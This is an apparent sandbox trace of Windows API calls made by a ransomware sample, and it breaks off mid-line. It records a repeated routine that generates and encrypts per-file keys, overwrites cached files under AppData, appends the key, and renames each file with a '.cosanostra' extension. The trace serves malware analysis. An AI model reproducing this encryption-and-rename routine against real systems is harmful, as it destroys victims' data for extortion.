[0102.680] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee40 | out: pbBuffer=0x2abee40) returned 1 [0102.680] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee38*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee38*=0x30) returned 1 [0102.681] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b8944ba8ad0efdf0e01a43ef62becd0_b2db1cc4b5f2d2a802d56aaed525802d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.681] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned 151 [0102.681] StrStrW (lpFirst="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", lpSrch=".txt") returned 0x0 [0102.696] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff984, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.697] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x67c, lpNumberOfBytesWritten=0x2abedfc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abedfc*=0x67c, lpOverlapped=0x0) returned 1 [0102.697] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.697] WriteFile (in: hFile=0x138, lpBuffer=0x2abee3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abedfc, lpOverlapped=0x0 | out: lpBuffer=0x2abee3c*, lpNumberOfBytesWritten=0x2abedfc*=0x4, lpOverlapped=0x0) returned 1 [0102.697] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abedfc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abedfc*=0x30, lpOverlapped=0x0) returned 1 [0102.697] CloseHandle (hObject=0x138) returned 1 [0102.697] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D.cosanostra") returned 162 [0102.697] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b8944ba8ad0efdf0e01a43ef62becd0_b2db1cc4b5f2d2a802d56aaed525802d"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b8944ba8ad0efdf0e01a43ef62becd0_b2db1cc4b5f2d2a802d56aaed525802d.cosanostra")) returned 1 [0102.701] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee38 | out: pbBuffer=0x2abee38) returned 1 [0102.701] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee30*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee30*=0x30) returned 1 [0102.701] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.701] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 118 [0102.701] StrStrW (lpFirst="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpSrch=".txt") returned 0x0 [0102.702] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffe06, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.702] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1fa, lpNumberOfBytesWritten=0x2abedf4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abedf4*=0x1fa, lpOverlapped=0x0) returned 1 [0102.702] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.702] WriteFile (in: hFile=0x138, lpBuffer=0x2abee34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abedf4, lpOverlapped=0x0 | out: lpBuffer=0x2abee34*, lpNumberOfBytesWritten=0x2abedf4*=0x4, lpOverlapped=0x0) returned 1 [0102.703] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abedf4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abedf4*=0x30, lpOverlapped=0x0) returned 1 [0102.703] CloseHandle (hObject=0x138) returned 1 [0102.703] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9.cosanostra") returned 129 [0102.703] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9.cosanostra")) returned 1 [0103.453] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee38 | out: pbBuffer=0x2abee38) returned 1 [0103.453] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee30*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee30*=0x30) returned 1 [0103.453] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\1bb09beec155258835c193a7aa85aa5b_a7b2b53af2a12e2cb0a41b96d21d7973"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.454] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned 151 [0103.454] StrStrW (lpFirst="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpSrch=".txt") returned 0x0 [0103.455] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffe28, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.455] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1d8, lpNumberOfBytesWritten=0x2abedf4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abedf4*=0x1d8, lpOverlapped=0x0) returned 1 [0103.455] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.455] WriteFile (in: hFile=0x138, lpBuffer=0x2abee34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abedf4, lpOverlapped=0x0 | out: lpBuffer=0x2abee34*, lpNumberOfBytesWritten=0x2abedf4*=0x4, lpOverlapped=0x0) returned 1 [0103.455] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abedf4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abedf4*=0x30, lpOverlapped=0x0) returned 1 [0103.455] CloseHandle (hObject=0x138) returned 1 [0103.455] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973.cosanostra") returned 162 [0103.455] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\1bb09beec155258835c193a7aa85aa5b_a7b2b53af2a12e2cb0a41b96d21d7973"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\1bb09beec155258835c193a7aa85aa5b_a7b2b53af2a12e2cb0a41b96d21d7973.cosanostra")) returned 1 [0103.456] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee30 | out: pbBuffer=0x2abee30) returned 1 [0103.456] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee28*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee28*=0x30) returned 1 [0103.456] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\0f1583fff42fff476a09801acb69213f_e3f4a8c96454d7d3441d2c1bce81f875"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.457] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned 151 [0103.457] StrStrW (lpFirst="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpSrch=".txt") returned 0x0 [0103.515] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffa9f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.515] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x561, lpNumberOfBytesWritten=0x2abedec, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abedec*=0x561, lpOverlapped=0x0) returned 1 [0103.515] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.515] WriteFile (in: hFile=0x138, lpBuffer=0x2abee2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abedec, lpOverlapped=0x0 | out: lpBuffer=0x2abee2c*, lpNumberOfBytesWritten=0x2abedec*=0x4, lpOverlapped=0x0) returned 1 [0103.515] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abedec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abedec*=0x30, lpOverlapped=0x0) returned 1 [0103.515] CloseHandle (hObject=0x138) returned 1 [0103.515] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875.cosanostra") returned 162 [0103.515] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\0f1583fff42fff476a09801acb69213f_e3f4a8c96454d7d3441d2c1bce81f875"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\0f1583fff42fff476a09801acb69213f_e3f4a8c96454d7d3441d2c1bce81f875.cosanostra")) returned 1 [0103.516] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee30 | out: pbBuffer=0x2abee30) returned 1 [0103.516] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee28*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee28*=0x30) returned 1 [0103.516] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.523] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee28 | out: pbBuffer=0x2abee28) returned 1 [0103.523] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee20*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee20*=0x30) returned 1 [0103.523] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\xt1rpyg9\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.524] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee20 | out: pbBuffer=0x2abee20) returned 1 [0103.524] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee18*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee18*=0x30) returned 1 [0103.524] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\vb18b0kb\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.525] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini") returned 110 [0103.525] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0103.526] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffffbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.526] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x2abeddc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abeddc*=0x43, lpOverlapped=0x0) returned 1 [0103.526] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.526] WriteFile (in: hFile=0x138, lpBuffer=0x2abee1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeddc, lpOverlapped=0x0 | out: lpBuffer=0x2abee1c*, lpNumberOfBytesWritten=0x2abeddc*=0x4, lpOverlapped=0x0) returned 1 [0103.526] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeddc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abeddc*=0x30, lpOverlapped=0x0) returned 1 [0103.526] CloseHandle (hObject=0x138) returned 1 [0103.526] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini.cosanostra") returned 121 [0103.527] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\vb18b0kb\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\vb18b0kb\\desktop.ini.cosanostra")) returned 1 [0103.529] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee20 | out: pbBuffer=0x2abee20) returned 1 [0103.529] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee18*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee18*=0x30) returned 1 [0103.529] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.529] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee18 | out: pbBuffer=0x2abee18) returned 1 [0103.530] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee10*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee10*=0x30) returned 1 [0103.530] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\vb18b0kb\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.531] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee10 | out: pbBuffer=0x2abee10) returned 1 [0103.531] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee08*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee08*=0x30) returned 1 [0103.531] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\ketajp6d\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.532] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini") returned 110 [0103.532] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0103.532] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffffbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.533] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x2abedcc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abedcc*=0x43, lpOverlapped=0x0) returned 1 [0103.533] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.533] WriteFile (in: hFile=0x138, lpBuffer=0x2abee0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abedcc, lpOverlapped=0x0 | out: lpBuffer=0x2abee0c*, lpNumberOfBytesWritten=0x2abedcc*=0x4, lpOverlapped=0x0) returned 1 [0103.533] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abedcc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abedcc*=0x30, lpOverlapped=0x0) returned 1 [0103.533] CloseHandle (hObject=0x138) returned 1 [0103.533] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini.cosanostra") returned 121 [0103.533] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\ketajp6d\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\ketajp6d\\desktop.ini.cosanostra")) returned 1 [0103.534] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee10 | out: pbBuffer=0x2abee10) returned 1 [0103.534] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee08*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee08*=0x30) returned 1 [0103.534] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.535] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee08 | out: pbBuffer=0x2abee08) returned 1 [0103.535] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee00*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee00*=0x30) returned 1 [0103.535] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\ketajp6d\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.535] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee08 | out: pbBuffer=0x2abee08) returned 1 [0103.535] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee00*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee00*=0x30) returned 1 [0103.535] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js 